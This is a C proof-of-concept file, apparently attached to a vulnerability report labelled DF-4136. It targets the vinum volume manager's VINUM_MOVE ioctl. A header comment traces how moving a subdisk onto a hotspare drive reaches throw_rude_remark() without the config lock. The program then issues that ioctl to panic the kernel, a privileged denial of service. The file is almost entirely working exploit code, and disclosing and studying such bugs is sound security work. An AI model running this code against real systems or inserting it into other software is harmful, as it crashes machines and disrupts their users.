DF-4136 / vinum_movepanic.c
/* * DF-4136 PoC: throw_rude_remark() called without the config lock panics * the kernel (root/operator DoS via VINUM_MOVE). * * VINUM_MOVE (vinumioctl.c:317-319) calls moveobject() WITHOUT * lock_config(); moveobject -> give_sd_to_drive -> throw_rude_remark() * (vinumconfig.c:105) hits the bug-catcher: * panic("throw_rude_remark: called without config lock") * * Trigger: move a subdisk onto a drive flagged "hotspare" (up state). * give_sd_to_drive reaches the hotspare rejection * (vinumconfig.c:318-322) which throws. * * Prereqs (see run.sh): two crafted vn drives: * /dev/vn0s1a: normal vinum drive x0 holding subdisk s0 * /dev/vn1s1a: vinum drive x1 with the "hotspare" flag */ #include <sys/types.h> #include <sys/ioccom.h> #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #define BUFSIZE 1024 #define VINUM_CREATE _IOC(IOC_INOUT, 'F', 64, BUFSIZE) #define VINUM_MOVE _IOWR('F', 98, struct _ioctl_reply) #define MAX_IOCTL_REPLY 256 struct _ioctl_reply { int error; char msg[MAX_IOCTL_REPLY]; }; struct vinum_ioctl_msg { int index; int type; /* enum objecttype: 0 drive,1 sd,2 plex,3 vol */ int state; int op; int force; int recurse; int verify; int otherobject; int rename; long long offset; int blocksize; }; static void create_line(int fd, const char *line) { char buf[BUFSIZE]; memset(buf, 0, sizeof(buf)); snprintf(buf, sizeof(buf), "%s", line); if (ioctl(fd, VINUM_CREATE, buf) < 0) printf(" create errno=%d reply=%d %.60s\n", errno, *(int *)buf, buf + 4); } int main(int argc, char **argv) { struct _ioctl_reply rep; struct vinum_ioctl_msg msg; int fd, driveno, sdno; fd = open("/dev/vinum/control", O_RDWR); if (fd < 0) { perror("open /dev/vinum/control"); return 1; } if (argc > 2) { driveno = atoi(argv[1]); /* target (hotspare) drive index */ sdno = atoi(argv[2]); /* subdisk index */ } else { printf("usage: %s <hotspare-driveno> <sdno>\n" " (get indices from: vinum l -r\n", argv[0]); return 1; } printf("VINUM_MOVE sd %d -> hotspare drive %d (no lock held)\n", sdno, driveno); memset(&rep, 0, sizeof(rep)); memset(&msg, 0, sizeof(msg)); msg.index = driveno; msg.type = 1; /* sd_object */ msg.otherobject = sdno; memcpy(&rep, &msg, sizeof(msg)); /* msg overlays reply buffer */ if (ioctl(fd, VINUM_MOVE, &rep) < 0) printf(" move errno=%d\n", errno); printf(" move returned error=%d msg=%.60s\n", rep.error, rep.msg); printf("still alive\n"); return 0; } |